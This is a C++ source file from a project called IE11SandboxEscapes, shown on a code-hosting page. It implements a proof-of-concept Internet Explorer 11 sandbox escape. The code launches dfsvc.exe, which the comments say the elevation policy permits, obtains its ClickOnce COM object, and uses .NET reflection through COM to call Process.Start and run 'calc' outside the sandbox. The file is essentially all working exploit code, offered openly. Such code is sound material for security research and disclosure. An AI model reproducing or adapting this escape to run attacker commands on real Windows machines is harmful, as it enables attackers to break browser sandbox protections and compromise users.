Permalink
Cannot retrieve contributors at this time
Fetching contributors…
| // This file is part of IE11SandboxEsacapes. | |
| // IE11SandboxEscapes is free software: you can redistribute it and/or modify | |
| // it under the terms of the GNU General Public License as published by | |
| // the Free Software Foundation, either version 3 of the License, or | |
| // (at your option) any later version. | |
| // IE11SandboxEscapes is distributed in the hope that it will be useful, | |
| // but WITHOUT ANY WARRANTY; without even the implied warranty of | |
| // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | |
| // GNU General Public License for more details. | |
| // You should have received a copy of the GNU General Public License | |
| // along with IE11SandboxEscapes. If not, see <http://www.gnu.org/licenses/>. | |
| #include "stdafx.h" | |
| #import <mscorlib.tlb> rename("ReportEvent", "_ReportEvent") | |
| const wchar_t CLSID_DFSVC[] = L"{20FD4E26-8E0F-4F73-A0E0-F27B8C57BE6F}"; | |
| long GetSafeArrayLen(LPSAFEARRAY psa) | |
| { | |
| long ubound = 0; | |
| SafeArrayGetUBound(psa, 1, &ubound); | |
| return ubound + 1; | |
| } | |
| mscorlib::_MethodInfoPtr GetStaticMethod(mscorlib::_TypePtr type, LPCWSTR findName, int pcount) | |
| { | |
| LPSAFEARRAY methods = type->GetMethods_2(); | |
| mscorlib::_MethodInfoPtr ret; | |
| LONG methodCount = GetSafeArrayLen(methods); | |
| for (long i = 0; i < methodCount; ++i) | |
| { | |
| IUnknown* v = nullptr; | |
| if (SUCCEEDED(SafeArrayGetElement(methods, &i, &v))) | |
| { | |
| mscorlib::_MethodInfoPtr method = v; | |
| bstr_t name = method->Getname(); | |
| LPSAFEARRAY params = method->GetParameters(); | |
| long paramCount = GetSafeArrayLen(params); | |
| if (method->IsStatic && wcscmp(name.GetBSTR(), findName) == 0 && paramCount == pcount) | |
| { | |
| ret = method; | |
| break; | |
| } | |
| } | |
| } | |
| SafeArrayDestroy(methods); | |
| return ret; | |
| } | |
| template<typename T> T ExecuteMethod(mscorlib::_MethodInfoPtr method, std::vector<variant_t>& args) | |
| { | |
| variant_t obj; | |
| T retObj; | |
| SAFEARRAY * psa; | |
| SAFEARRAYBOUND rgsabound[1]; | |
| rgsabound[0].lLbound = 0; | |
| rgsabound[0].cElements = (ULONG)args.size(); | |
| psa = SafeArrayCreate(VT_VARIANT, 1, rgsabound); | |
| for (LONG indicies = 0; indicies < (LONG)args.size(); ++indicies) | |
| { | |
| SafeArrayPutElement(psa, &indicies, &args[indicies]); | |
| } | |
| variant_t ret = method->Invoke_3(obj, psa); | |
| if ((ret.vt == VT_UNKNOWN) || (ret.vt == VT_DISPATCH)) | |
| { | |
| retObj = ret.punkVal; | |
| } | |
| SafeArrayDestroy(psa); | |
| return retObj; | |
| } | |
| void DoDfsvcExploit() | |
| { | |
| CLSID clsid; | |
| CLSIDFromString(CLSID_DFSVC, &clsid); | |
| DebugPrintf("Starting DFSVC Exploit\n"); | |
| mscorlib::_ObjectPtr obj; | |
| HRESULT hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&obj)); | |
| if (FAILED(hr)) | |
| { | |
| WCHAR cmdline[] = L"dfsvc.exe"; | |
| STARTUPINFO startInfo = { 0 }; | |
| PROCESS_INFORMATION procInfo = { 0 }; | |
| // Start dfsvc (because we can due to the ElevationPolicy) | |
| if (CreateProcess(L"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\dfsvc.exe", cmdline, | |
| nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo)) | |
| { | |
| CloseHandle(procInfo.hProcess); | |
| CloseHandle(procInfo.hThread); | |
| // Just sleep to ensure it comes up | |
| Sleep(4000); | |
| hr = CoCreateInstance(clsid, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&obj)); | |
| } | |
| else | |
| { | |
| DebugPrintf("Couldn't create service %d\n", GetLastError()); | |
| } | |
| } | |
| if (SUCCEEDED(hr)) | |
| { | |
| try | |
| { | |
| mscorlib::_TypePtr type = obj->GetType(); | |
| // Get type of Type (note defaults to RuntimeType then TypeInfo) | |
| type = type->GetType()->BaseType->BaseType; | |
| DebugPrintf("TypeName: %ls", type->FullName.GetBSTR()); | |
| mscorlib::_MethodInfoPtr getTypeMethod = GetStaticMethod(type, L"GetType", 1); | |
| DebugPrintf("getTypeMethod: %p", (void*)getTypeMethod); | |
| std::vector<variant_t> getTypeArgs; | |
| getTypeArgs.push_back(L"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"); | |
| // Get process type | |
| type = ExecuteMethod<mscorlib::_TypePtr>(getTypeMethod, getTypeArgs); | |
| if (type) | |
| { | |
| mscorlib::_MethodInfoPtr startMethod = GetStaticMethod(type, L"Start", 2); | |
| if (startMethod) | |
| { | |
| std::vector<variant_t> startArgs; | |
| startArgs.push_back(L"calc"); | |
| startArgs.push_back(L""); | |
| ExecuteMethod<mscorlib::_ObjectPtr>(startMethod, startArgs); | |
| } | |
| else | |
| { | |
| DebugPrintf("Couldn't find Start method"); | |
| } | |
| } | |
| else | |
| { | |
| DebugPrintf("Couldn't find Process Type"); | |
| } | |
| } | |
| catch (_com_error e) | |
| { | |
| DebugPrintf("COM Error: %ls\n", e.ErrorMessage()); | |
| } | |
| } | |
| else | |
| { | |
| DebugPrintf("Error get dfsvc IUnknown: %08X\n", hr); | |
| } | |
| } | |
| DWORD CALLBACK ExploitThread(LPVOID hModule) | |
| { | |
| CoInitialize(nullptr); | |
| DoDfsvcExploit(); | |
| CoUninitialize(); | |
| FreeLibraryAndExitThread((HMODULE)hModule, 0); | |
| } |